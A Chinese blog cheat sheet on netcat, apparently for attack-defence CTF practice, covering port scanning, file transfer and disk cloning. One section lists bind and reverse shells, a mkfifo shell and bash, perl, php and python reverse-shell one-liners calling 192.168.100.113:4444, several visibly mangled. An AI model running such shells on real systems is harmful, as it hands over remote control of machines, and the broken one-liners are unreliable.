首页 » NetworkSec » AWD » 正文

NC用法整理

-p 指定端口,-s 指定地址

 

1.端口扫描(不太好用)

扫描端口段

nc -v -z ip port-port

加上-u则扫UDP端口

可以查看banner信息。

 

2.正/反向域名解析

-n接受IP,不解析域名,-v可以正反向域名解析

 

3.聊天室

nc -l 192.168.1.2 -p 8999

nc 192.168.1.2 8999

就可以发消息给.1.2主机了

 

4.文件传输

A:nc -l 192.168.43.237 -p 8999 < test.txt

B: nc 192.168.43.237 8999 > test2.txt

B 就可以接收到A的test.txt了

 

5.传输目录(打包压缩)

A:tar -cvf – dir_name| bzip2 -z | nc -l 192.168.1.2 -p 8999

B:nc -n 192.168.1.2 8999 | bzip2 -d |tar -xvf –

B就可以接受到A的压缩文件了

 

6.加密数据

A:nc -l 192.168.1.2 -p 8999 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 192.168.1.2 -p 8999

 

7.克隆一个设备

A:dd if=/dev/sda | nc -l 8999

B:nc -n ip 8999 | dd of=/dev/sda

 

8.重定向程序(都懂的)

正向:

A:nc -l 192.168.1.2 -p 8999 -e /bin/bash

B:nc 192.168.1.2 -p 8999

反向:
A:nc -l 192.168.1.2 -p 8999

B:nc 192.168.1.2 8999 -e /bin/bash

 

假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell
A:
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 8999 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
在客户端仅仅简单连接到服务器

B:
$nc -n 192.168.1.2 8999
你会得到一个shell提示符在客户端

(其他反向shell:

bash: bash -i>&/dev/tcp/192.168.100.113/4444 0>&1

perl:  perl -e’use Socket; $ i =“192.168.100.113”; $ p = 4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect(S,sockaddr_in($ p,inet_aton (STDOUT,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”); exec(“/ bin / sh -i”);} ;”

php:  php -r’$ sock = fsockopen(“192.168.100.113”,4444); exec(“/ bin / sh -i <&3>&3 2>&3”);

python:  python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.100.113”,4444)); os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” –        i”]);”

)

 

9.蜜罐

nc -L 192.168.1.2 -p 80 > c:\log.txt
使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把‘>’ 改为‘>>’即可以追加日志。

//我的版本nc没有-L参数……

 

10.两台服务器文件校验

// 192.168.1.2

# find /etc/rc.d/ -type f|xargs md5sum|nc -l 8999

 

// 192.168.1.3

# nc 192.168.1.2 8999|md5sum -c -|grep -v OK

这样可比较的东西就多了,例如下面命令检查机器上的sid位:

find / -xdev -type f -user root \( -perm -4000 -o -perm -2000 \)

 

nc神器,真的小巧又强大!

 

参考链接:
http://blog.csdn.net/gavinr/article/details/7277507

http://www.oschina.net/translate/linux-netcat-command

http://www.ddvip.com/detail/1000230090.html

https://bbs.ichunqiu.com/thread-23024-1-1.html

Comment